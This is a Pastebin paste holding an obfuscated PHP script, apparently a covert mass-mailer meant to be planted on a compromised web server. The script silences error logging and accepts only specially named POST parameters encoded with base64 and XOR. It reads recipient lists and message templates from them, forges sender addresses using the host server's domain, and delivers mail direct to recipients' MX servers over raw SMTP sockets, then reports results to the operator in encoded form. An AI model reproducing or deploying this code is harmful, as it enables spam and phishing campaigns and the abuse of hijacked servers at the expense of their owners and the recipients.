Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $i96="QU~T<`_YM82iAN>/v#s\"'q@tZFjJX6a\tcI)yS^boD.\$du|3\rWw=rC!;[4*P5LVkB?%19m:p7 -zK,gOl{Efx]0R}&h+\n\\(enGH";
- @error_reporting(NULL);
- @ini_set("error_log",NULL);
- @ini_set("log_errors",0);
- $gqoki97 = array(
- "dataTo" => "",
- "fromLogin" => "",
- "fromName" => "",
- "subjTempl" => "",
- "bodyTempl" => "",
- "hostFrom" => "",
- "initnbsock" => FALSE,
- "initsock" => FALSE,
- "initmail" => FALSE,
- );
- if (FALSE == zzqaa65($i96, $gqoki97)) {
- echo PHP_OS."+".md5(0987654321)."+01+[[]]";
- exit;
- }
- $ifzga92 = array();
- foreach ($gqoki97["dataTo"] as $rnqcn32) {
- $dfphu86 = array(
- "nameFirst" => "",
- "nameLast" => "",
- "emailTo" => "",
- "domainTo" => "",
- "emailToLong" => "",
- "forceFromFlag" => FALSE,
- "emailFrom" =>"",
- "emailFromLong" => "",
- "subj" => "",
- "body" => "",
- "headersMain" => "",
- "headersFrom" => "",
- "headersSock" => "",
- "mxHost" => "",
- "mxAddr" => null,
- "sock" => null,
- "stime" => null,
- "nbstep" => 0,
- "errline" => "",
- "done" => FALSE,
- "doneWay" => 0,
- "failSmtp" => FALSE,
- );
- if (FALSE == vmkpj5($i96, $rnqcn32, $gqoki97, $dfphu86) ) {
- echo PHP_OS."+".md5(1111111111)."+02+[[".essss80($i96, $rnqcn32)."]]";
- continue;
- }
- cmgbh86($i96, $gqoki97, $dfphu86);
- ffhgy85($i96, $gqoki97, $dfphu86);
- $ifzga92[] = $dfphu86;
- }
- ahmux52($i96, $gqoki97, $ifzga92);
- djwep57($i96, $gqoki97, $ifzga92);
- hnnst3($i96, $gqoki97, $ifzga92);
- onngl80($i96, $gqoki97, $ifzga92);
- function essss80($i96, $iqkju26) {
- $htptb46 = "";
- for($i = 0; $i < strlen($iqkju26); $i++) $htptb46.= chr(ord($iqkju26[$i]) ^ 2);
- return base64_encode($htptb46);
- }
- function onngl80($i96, $gqoki97, $ifzga92) {
- if ($gqoki97["initnbsock"] == FALSE && $gqoki97["initsock"] == FALSE && $gqoki97["initmail"] == FALSE) {
- echo PHP_OS."+".md5(1111111111)."+03+[[".essss80($i96, "no func exists")."]]";
- return;
- }
- $uodef40 = 0;
- for ($i = 0; $i < count($ifzga92); $i++) {
- if ($ifzga92[$i]["failSmtp"] == TRUE) {
- echo PHP_OS."+".md5(2222222222)."+04+[[".essss80($i96, $ifzga92[$i]["emailTo"]." :: ".$ifzga92[$i]["errline"])."]]";
- }
- if ($ifzga92[$i]["done"] == TRUE) {
- $uodef40++;
- }
- }
- if ($uodef40 == 0) {
- echo PHP_OS."+".md5(0987654321)."+04+[[]]";
- } else {
- echo "OK+".md5(1234567890)."+".$uodef40."+".count($ifzga92)."";
- }
- }
- function djwep57($i96, &$gqoki97, &$ifzga92) {
- if (!function_exists("mail")) {
- $gqoki97["initmail"] = FALSE;
- return;
- }
- $gqoki97["initmail"] = TRUE;
- for ($i = 0; $i < count($ifzga92); $i++) {
- if ($ifzga92[$i]["done"] == TRUE) continue;
- if ($ifzga92[$i]["forceFromFlag"]) {
- if (@mail($ifzga92[$i]["emailToLong"], $ifzga92[$i]["subj"], $ifzga92[$i]["body"], $ifzga92[$i]["headersFrom"].$ifzga92[$i]["headersMain"], "-f".$ifzga92[$i]["emailFrom"])) {
- $ifzga92[$i]["done"] = TRUE;
- $ifzga92[$i]["doneWay"] = 2;
- } else {
- $ifzga92[$i]["done"] = FALSE;
- }
- } else {
- if (@mail($ifzga92[$i]["emailToLong"], $ifzga92[$i]["subj"], $ifzga92[$i]["body"], $ifzga92[$i]["headersMain"])) {
- $ifzga92[$i]["done"] = TRUE;
- $ifzga92[$i]["doneWay"] = 2;
- } else {
- $ifzga92[$i]["done"] = FALSE;
- }
- }
- }
- }
- function qfnta97($i96, $kvdtm8) {
- $htptb46 = '';
- while($lvekd30 = @fgets($kvdtm8, 4096)) {
- $htptb46 .= $lvekd30;
- if(substr($lvekd30, 3, 1) == " ") break;
- }
- return $htptb46;
- }
- function hnnst3($i96, &$gqoki97, &$ifzga92) {
- if (!function_exists("fsockopen") && !function_exists("pfsockopen") && !function_exists("stream_socket_client")) {
- $gqoki97["initsock"] = FALSE;
- return;
- }
- $gqoki97["initsock"] = TRUE;
- for( $i = 0; $i < count($ifzga92); $i++) {
- if ($ifzga92[$i]["done"] == TRUE) {
- continue;
- }
- if ($ifzga92[$i]["failSmtp"] == TRUE) {
- continue;
- }
- if ($ifzga92[$i]["mxAddr"] == null) {
- $ifzga92[$i]["mxAddr"] = gethostbyname($ifzga92[$i]["mxHost"]);
- }
- $ifzga92[$i]["nbstep"] = 0;
- $jgbhv30 = 0;
- $shyop36 = "";
- if (function_exists("fsockopen")) {
- $ifzga92[$i]["sock"] = @fsockopen($ifzga92[$i]["mxAddr"], 25, $jgbhv30, $shyop36, 15);
- } elseif (function_exists("pfsockopen")) {
- $ifzga92[$i]["sock"] = @pfsockopen($ifzga92[$i]["mxAddr"], 25, $jgbhv30, $shyop36, 15);
- } elseif (function_exists("stream_socket_client")) {
- $ifzga92[$i]["sock"] = @stream_socket_client("tcp://".$ifzga92[$i]["mxAddr"].":25", $jgbhv30, $shyop36, 15);
- } else {
- $ifzga92[$i]["errline"] = "sock connect function";
- continue;
- }
- if (!$ifzga92[$i]["sock"]) {
- $ifzga92[$i]["errline"] = "sock connect";
- continue;
- }
- $gtnkt68 = qfnta97($i96, $ifzga92[$i]["sock"]);
- @fputs($ifzga92[$i]["sock"], "EHLO ".$gqoki97["hostFrom"]."");
- $gtnkt68 = qfnta97($i96, $ifzga92[$i]["sock"]);
- if (substr($gtnkt68, 0, 3) != 250 ) {
- $ifzga92[$i]["nbstep"] = 2;
- $ifzga92[$i]["errline"] = "<< ehlo ".trim(preg_replace("//", " ", $gtnkt68));
- fclose($ifzga92[$i]["sock"]);
- continue;
- }
- @fputs($ifzga92[$i]["sock"], "MAIL FROM:<".$ifzga92[$i]["emailFrom"].">");
- $gtnkt68 = qfnta97($i96, $ifzga92[$i]["sock"]);
- if (substr($gtnkt68, 0, 3) != 250 ) {
- $ifzga92[$i]["nbstep"] = 3;
- $ifzga92[$i]["failSmtp"] = TRUE;
- $ifzga92[$i]["errline"] = "<< mail from ".trim(preg_replace("//", " ", $gtnkt68));
- fclose($ifzga92[$i]["sock"]);
- continue;
- }
- @fputs($ifzga92[$i]["sock"], "RCPT TO:<".$ifzga92[$i]["emailTo"].">");
- $gtnkt68 = qfnta97($i96, $ifzga92[$i]["sock"]);
- if (substr($gtnkt68, 0, 3) != 250 && substr($gtnkt68, 0, 3) != 251) {
- $ifzga92[$i]["nbstep"] = 4;
- $ifzga92[$i]["failSmtp"] = TRUE;
- $ifzga92[$i]["errline"] = "<< rcpt to ".trim(preg_replace("//", " ", $gtnkt68));
- fclose($ifzga92[$i]["sock"]);
- continue;
- }
- @fputs($ifzga92[$i]["sock"], "DATA");
- $gtnkt68 = qfnta97($i96, $ifzga92[$i]["sock"]);
- if (substr($gtnkt68, 0, 3) != 354 ) {
- $ifzga92[$i]["nbstep"] = 5;
- $ifzga92[$i]["failSmtp"] = TRUE;
- $ifzga92[$i]["errline"] = "<< data ".trim(preg_replace("//", " ", $gtnkt68));
- fclose($ifzga92[$i]["sock"]);
- continue;
- }
- @fputs($ifzga92[$i]["sock"], $ifzga92[$i]["headersSock"]."".$ifzga92[$i]["body"].".");
- $gtnkt68 = qfnta97($i96, $ifzga92[$i]["sock"]);
- if (substr($gtnkt68, 0, 3) != 250 ) {
- $ifzga92[$i]["nbstep"] = 6;
- $ifzga92[$i]["failSmtp"] = TRUE;
- $ifzga92[$i]["errline"] = "<< body ".trim(preg_replace("//", " ", $gtnkt68));
- fclose($ifzga92[$i]["sock"]);
- continue;
- }
- $ifzga92[$i]["nbstep"] = 6;
- $ifzga92[$i]["errline"] = "sock done";
- $ifzga92[$i]["done"] = TRUE;
- $ifzga92[$i]["doneWay"] = 3;
- @fputs($ifzga92[$i]["sock"], "QUIT");
- @fclose($ifzga92[$i]["sock"]);
- }
- return;
- }
- function zrkge13($i96, $kvdtm8, &$zxmls24, &$dssbi55, $qqmur35) {
- $zxmls24[$dssbi55[$kvdtm8]["orig"]]["nbstep"] = $qqmur35;
- $zxmls24[$dssbi55[$kvdtm8]["orig"]]["stime"] = time(NULL);
- $dssbi55[$kvdtm8]["nbstep"] = $qqmur35;
- $dssbi55[$kvdtm8]["stime"] = time(NULL);
- }
- function rcunl33($i96, $kvdtm8, &$zxmls24, &$dssbi55, &$mratg49, $cifip71) {
- $zxmls24[$dssbi55[$kvdtm8]["orig"]]["errline"] = trim(preg_replace("//", " ", $cifip71));
- $iiptu84 = array_search($kvdtm8, $mratg49);
- unset($mratg49[$iiptu84]);
- unset($dssbi55[$kvdtm8]);
- socket_close($kvdtm8);
- }
- function ahmux52($i96, &$gqoki97, &$ifzga92) {
- if (!function_exists("socket_create") || !function_exists("socket_connect") || !function_exists("socket_select") || !function_exists("socket_read") || !function_exists("socket_write")) {
- $gqoki97["initnbsock"] = FALSE;
- return;
- }
- $gqoki97["initnbsock"] = TRUE;
- $kxarg82 = array();
- $uztoz28 = 35;
- $hxegq37 = 25;
- $iamix90 = array();
- $eivub46 = array();
- for( $i = 0; $i < count($ifzga92); $i++) {
- if ($ifzga92["done"] == TRUE) {
- continue;
- }
- if ($ifzga92[$i]["failSmtp"] == TRUE) {
- continue;
- }
- $ifzga92[$i]["sock"] = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
- if ($ifzga92[$i]["sock"] == FALSE) {
- $ifzga92[$i]["errline"] = "nb create socket";
- continue;
- }
- @socket_set_nonblock($ifzga92[$i]["sock"]);
- $ifzga92[$i]["mxAddr"] = gethostbyname($ifzga92[$i]["mxHost"]);
- $cfaqq98 = @socket_connect($ifzga92[$i]["sock"], $ifzga92[$i]["mxHost"], 25);
- if ($cfaqq98 == FALSE) {
- $nkdpv82 = socket_last_error();
- if ($nkdpv82 != 10035 && $nkdpv82 != SOCKET_EINPROGRESS && $nkdpv82 != SOCKET_EALREADY) {
- $ifzga92[$i]["errline"] = "nb connect socket";
- continue;
- }
- }
- $ifzga92[$i]["stime"] = time(NULL);
- $iamix90[] = $ifzga92[$i]["sock"];
- $kxarg82[$ifzga92[$i]["sock"]] = $ifzga92[$i];
- $kxarg82[$ifzga92[$i]["sock"]]["orig"] = $i;
- }
- while (count($iamix90) + count($eivub46) > 0) {
- $wwclq72 = $iamix90;
- $vvdpk21 = $eivub46;
- if (FALSE !== ($jizyj43 = socket_select($vvdpk21, $wwclq72, $sgsgk67 = null, 0))) {
- if ($jizyj43 > 0) {
- if (count($vvdpk21) > 0) {
- foreach ($vvdpk21 as $vxkyu7) {
- $gtnkt68 = @socket_read($vxkyu7, 1024);
- if ($gtnkt68 == FALSE) {
- rcunl33($i96, $vxkyu7, $ifzga92, $kxarg82, $eivub46, "nb sock read");
- continue;
- }
- if ($kxarg82[$vxkyu7]["nbstep"] == 1) {
- $cfaqq98 = @socket_write($vxkyu7, "EHLO ".$gqoki97["hostFrom"]."");
- if ($cfaqq98 == FALSE) {
- rcunl33($i96, $vxkyu7, $ifzga92, $kxarg82, $eivub46, ">> nb ehlo");
- continue;
- }
- zrkge13($i96, $vxkyu7, $ifzga92, $kxarg82, 2);
- } elseif ($kxarg82[$vxkyu7]["nbstep"] == 2) {
- if (substr($gtnkt68, 0, 3) != 250 ) {
- rcunl33($i96, $vxkyu7, $ifzga92, $kxarg82, $eivub46, "<< nb ehlo ". $gtnkt68);
- continue;
- }
- $cfaqq98 = @socket_write($vxkyu7, "MAIL FROM:<".$kxarg82[$vxkyu7]["emailFrom"].">");
- if ($cfaqq98 == FALSE) {
- rcunl33($i96, $vxkyu7, $ifzga92, $kxarg82, $eivub46, ">> nb mail from");
- continue;
- }
- zrkge13($i96, $vxkyu7, $ifzga92, $kxarg82, 3);
- } elseif ($kxarg82[$vxkyu7]["nbstep"] == 3) {
- if (substr($gtnkt68, 0, 3) != 250 ) {
- $ifzga92[$kxarg82[$vxkyu7]["orig"]]["failSmtp"] = TRUE;
- rcunl33($i96, $vxkyu7, $ifzga92, $kxarg82, $eivub46, "<< nb mail from ".$gtnkt68);
- continue;
- }
- $cfaqq98 = @socket_write($vxkyu7, "RCPT TO:<".$kxarg82[$vxkyu7]["emailTo"].">");
- if ($cfaqq98 == FALSE) {
- rcunl33($i96, $vxkyu7, $ifzga92, $kxarg82, $eivub46, ">> nb rcpt to");
- continue;
- }
- zrkge13($i96, $vxkyu7, $ifzga92, $kxarg82, 4);
- } elseif ($kxarg82[$vxkyu7]["nbstep"] == 4) {
- if (substr($gtnkt68, 0, 3) != 250 && substr($gtnkt68, 0, 3) != 251) {
- $ifzga92[$kxarg82[$vxkyu7]["orig"]]["failSmtp"] = TRUE;
- rcunl33($i96, $vxkyu7, $ifzga92, $kxarg82, $eivub46, "<< nb rcpt to ".$gtnkt68);
- continue;
- }
- $cfaqq98 = @socket_write($vxkyu7, "DATA");
- if ($cfaqq98 == FALSE) {
- print $gtnkt68;
- rcunl33($i96, $vxkyu7, $ifzga92, $kxarg82, $eivub46, ">> nb data");
- continue;
- }
- zrkge13($i96, $vxkyu7, $ifzga92, $kxarg82, 5);
- } elseif ($kxarg82[$vxkyu7]["nbstep"] == 5) {
- if (substr($gtnkt68, 0, 3) != 354 ) {
- $ifzga92[$kxarg82[$vxkyu7]["orig"]]["failSmtp"] = TRUE;
- rcunl33($i96, $vxkyu7, $ifzga92, $kxarg82, $eivub46, "<< nb data ".$gtnkt68);
- continue;
- }
- $cfaqq98 = @socket_write($vxkyu7, $kxarg82[$vxkyu7]["headersSock"]."".$kxarg82[$vxkyu7]["body"].".");
- if ($cfaqq98 == FALSE) {
- rcunl33($i96, $vxkyu7, $ifzga92, $kxarg82, $eivub46, ">> nb body");
- continue;
- }
- zrkge13($i96, $vxkyu7, $ifzga92, $kxarg82, 6);
- } elseif ($kxarg82[$vxkyu7]["nbstep"] == 6) {
- if (substr($gtnkt68, 0, 3) != 250 ) {
- $ifzga92[$kxarg82[$vxkyu7]["orig"]]["failSmtp"] = TRUE;
- rcunl33($i96, $vxkyu7, $ifzga92, $kxarg82, $eivub46, "<< nb body ".$gtnkt68);
- continue;
- }
- $ifzga92[$kxarg82[$vxkyu7]["orig"]]["failSmtp"] = FALSE;
- $ifzga92[$kxarg82[$vxkyu7]["orig"]]["done"] = TRUE;
- $ifzga92[$kxarg82[$vxkyu7]["orig"]]["doneWay"] = 1;
- $cfaqq98 = @socket_write($vxkyu7, "QUIT");
- if ($cfaqq98 == FALSE) {
- rcunl33($i96, $vxkyu7, $ifzga92, $kxarg82, $eivub46, ">> nb quit");
- continue;
- }
- zrkge13($i96, $vxkyu7, $ifzga92, $kxarg82, 6);
- rcunl33($i96, $vxkyu7, $ifzga92, $kxarg82, $eivub46, "nb done");
- } else {
- rcunl33($i96, $vxkyu7, $ifzga92, $kxarg82, $eivub46, "nb unknown step");
- }
- }
- }
- if (count($wwclq72) > 0) {
- foreach ($wwclq72 as $fzryn2) {
- zrkge13($i96, $fzryn2, $ifzga92, $kxarg82, 1);
- $eivub46[] = $fzryn2;
- $nshwq15 = array_search($fzryn2, $iamix90);
- unset($iamix90[$nshwq15]);
- }
- }
- }
- } else {
- break;
- }
- foreach ($kxarg82 as $knmui74) {
- $vbhbi38 = time(NULL);
- if ($knmui74["nbstep"] == 0) {
- if ($knmui74["stime"] + $uztoz28 < $vbhbi38) {
- rcunl33($i96, $knmui74["sock"], $ifzga92, $kxarg82, $iamix90, "nb sock conn timeout ".$knmui74["nbstep"]);
- }
- } else {
- if ($knmui74["stime"] + $hxegq37 < $vbhbi38) {
- closeSock($knmui74["sock"], $ifzga92, $kxarg82, $eivub46, "nb sock r/w timeout ".$knmui74["nbstep"]);
- }
- }
- }
- }
- }
- function ffhgy85($i96, $gqoki97, &$htptb46) {
- $htptb46["headersMain"] = "X-Priority: 3 (Normal)";
- $htptb46["headersMain"] .= "MIME-Version: 1.0";
- $htptb46["headersMain"] .= "Content-Type: text/html; charset=\"iso-8859-1\"";
- $htptb46["headersMain"] .= "Content-Transfer-Encoding: 8bit";
- $htptb46["headersFrom"] = "From: ".$htptb46["emailFromLong"]."";
- $htptb46["headersFrom"] .= "Reply-To:".$htptb46["emailFromLong"]."";
- $htptb46["headersSock"] = "Date: " . @date("D, j M Y G:i:s O")."";
- $htptb46["headersSock"] .= $htptb46["headersFrom"];
- $htptb46["headersSock"] .= "Message-ID: <".preg_replace("/(.{7})(.{5})(.{2}).*/", "$1-$2-$3", md5(time()))."@".$gqoki97["hostFrom"].">";
- $htptb46["headersSock"] .= "To: ".$htptb46["emailToLong"]."";
- $htptb46["headersSock"] .= "Subject: ".$htptb46["subj"]."";
- $htptb46["headersSock"] .= $htptb46["headersMain"];
- }
- function cmgbh86($i96, $gqoki97, &$htptb46) {
- $htptb46["subj"] = @str_replace("%R_NAME%", $htptb46["nameFirst"], $gqoki97["subjTempl"]);
- $htptb46["subj"] = @str_replace("%R_LNAME%", $htptb46["nameLast"], $htptb46["subj"]);
- $htptb46["body"] = @str_replace("%R_NAME%", $htptb46["nameFirst"], $gqoki97["bodyTempl"]);
- $htptb46["body"] = @str_replace("%R_LNAME%", $htptb46["nameLast"], $htptb46["body"]);
- $htptb46["body"] = @str_replace("%MAIL_EN%", pttna79($i96, $htptb46["emailTo"]), $htptb46["body"]);
- }
- function vmkpj5($i96, $khwtg40, $gqoki97, &$htptb46) {
- if (FALSE === @preg_match("/(.*?;)?(.*?;)?(.+@(.+)?);?/", $khwtg40, $nhvry64) ) {
- return FALSE;
- }
- if (!isset($nhvry64) || count($nhvry64) != 5) {
- return FALSE;
- }
- $htptb46["nameFirst"] = @ucfirst(str_replace(";","",$nhvry64[1]));
- $htptb46["nameLast"] = @ucfirst(str_replace(";","",$nhvry64[2]));
- $htptb46["emailTo"] = str_replace(";","",$nhvry64[3]);
- $htptb46["domainTo"] = str_replace(";","",$nhvry64[4]);
- if (!isset($htptb46["domainTo"]) || $htptb46["domainTo"] == "") {
- return FALSE;
- }
- if (!isset($htptb46["emailTo"]) || $htptb46["emailTo"] == "") {
- return FALSE;
- }
- if (isset($htptb46["nameFirst"]) && $htptb46["nameFirst"] != "") {
- $htptb46["emailToLong"] = $htptb46["nameFirst"]." ".$htptb46["nameLast"]." <".$htptb46["emailTo"].">";
- } else {
- $htptb46["emailToLong"] = $htptb46["emailTo"];
- }
- if (preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/", $gqoki97["hostFrom"]) || @ini_get("safe_mode")) {
- $htptb46["forceFromFlag"] = FALSE;
- } else {
- $htptb46["forceFromFlag"] = TRUE;
- }
- $htptb46["emailFrom"] = $gqoki97["fromLogin"]."@".$gqoki97["hostFrom"];
- if (isset($gqoki97["fromName"]) && $gqoki97["fromName"] != "") {
- $htptb46["emailFromLong"] = $gqoki97["fromName"]." <".$htptb46["emailFrom"].">";
- } else {
- $htptb46["emailFromLong"] = $htptb46["emailFrom"];
- }
- $htptb46["mxHost"] = "127.0.0.1";
- if (function_exists("getmxrr")) {
- @getmxrr($htptb46["domainTo"], $nihjr88, $wcxms77);
- if (count($nihjr88) !== 0) {
- $ckkqo93 = array_keys($wcxms77, min($wcxms77));
- $htptb46["mxHost"] = $nihjr88[$ckkqo93[0]];
- }
- }
- return TRUE;
- }
- function zzqaa65($i96, &$htptb46) {
- if (count($_POST) < 2) {
- return FALSE;
- }
- $jzmka38 = false;
- $icmlh57 = $aeilq77 = "";
- foreach (array_keys($_POST) as $post_key) {
- if ($post_key[0] == "l") $icmlh57 = $post_key;
- if ($post_key[0] == "d") $aeilq77 = $post_key;
- if ($post_key[0] == "e") $sclio51 = true;
- }
- if ($icmlh57 == "" || $aeilq77 == "") {
- return FALSE;
- }
- $fiqzz24 = mpawp44($i96, $icmlh57, $sclio51);
- $oueyo23= mpawp44($i96, $aeilq77, $sclio51);
- if ($fiqzz24 == FALSE || $oueyo23 == FALSE) {
- return FALSE;
- }
- $htptb46["dataTo"] = @preg_split("/#/", $fiqzz24);
- $htptb46["fromLogin"] = $htptb46["fromName"] = $htptb46["subjTempl"] = $htptb46["bodyTempl"] = "";
- if (FALSE !== @preg_match("/<USER>(.*?)<\/USER>/ism", $oueyo23, $nhvry64) && isset($nhvry64) && count($nhvry64) > 1) {
- $htptb46["fromLogin"] = $nhvry64[1];
- }
- if (FALSE !== @preg_match("/<NAME>(.*?)<\/NAME>/ism", $oueyo23, $nhvry64) && isset($nhvry64) && count($nhvry64) > 1) {
- $htptb46["fromName"] = $nhvry64[1];
- }
- if (FALSE !== @preg_match("/<SUBJ>(.*?)<\/SUBJ>/ism", $oueyo23, $nhvry64) && isset($nhvry64) && count($nhvry64) > 1) {
- $htptb46["subjTempl"] = $nhvry64[1];
- }
- if (FALSE !== @preg_match("/<SBODY>(.*?)<\/SBODY>/ism",$oueyo23, $nhvry64) && isset($nhvry64) && count($nhvry64) > 1) {
- $htptb46["bodyTempl"] = $nhvry64[1];
- }
- $htptb46["hostFrom"] = @preg_replace("/^(www|ftp)\./i", '', @$_SERVER["HTTP_HOST"]);
- return TRUE;
- }
- function mpawp44($i96, $ytckf69, $jzmka38) {
- if (!isset($ytckf69) || $ytckf69 == "") return FALSE;
- $rfoai48 = @$_POST[$ytckf69];
- if ($jzmka38) {
- $tvvwg40 = base64_decode($rfoai48);
- $rfoai48 = '';
- for($i = 0; $i < strlen($tvvwg40); $i++) $rfoai48.= chr(ord($tvvwg40[$i]) ^ 2);
- }
- return urldecode(stripslashes($rfoai48));
- }
- function pttna79($i96, $vpydp72) {
- $udkrl46 = "";
- for($i = 0; $i < strlen($vpydp72); $i++) $udkrl46.= chr(ord($vpydp72[$i]) ^ 2);
- return base64_encode($udkrl46);
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement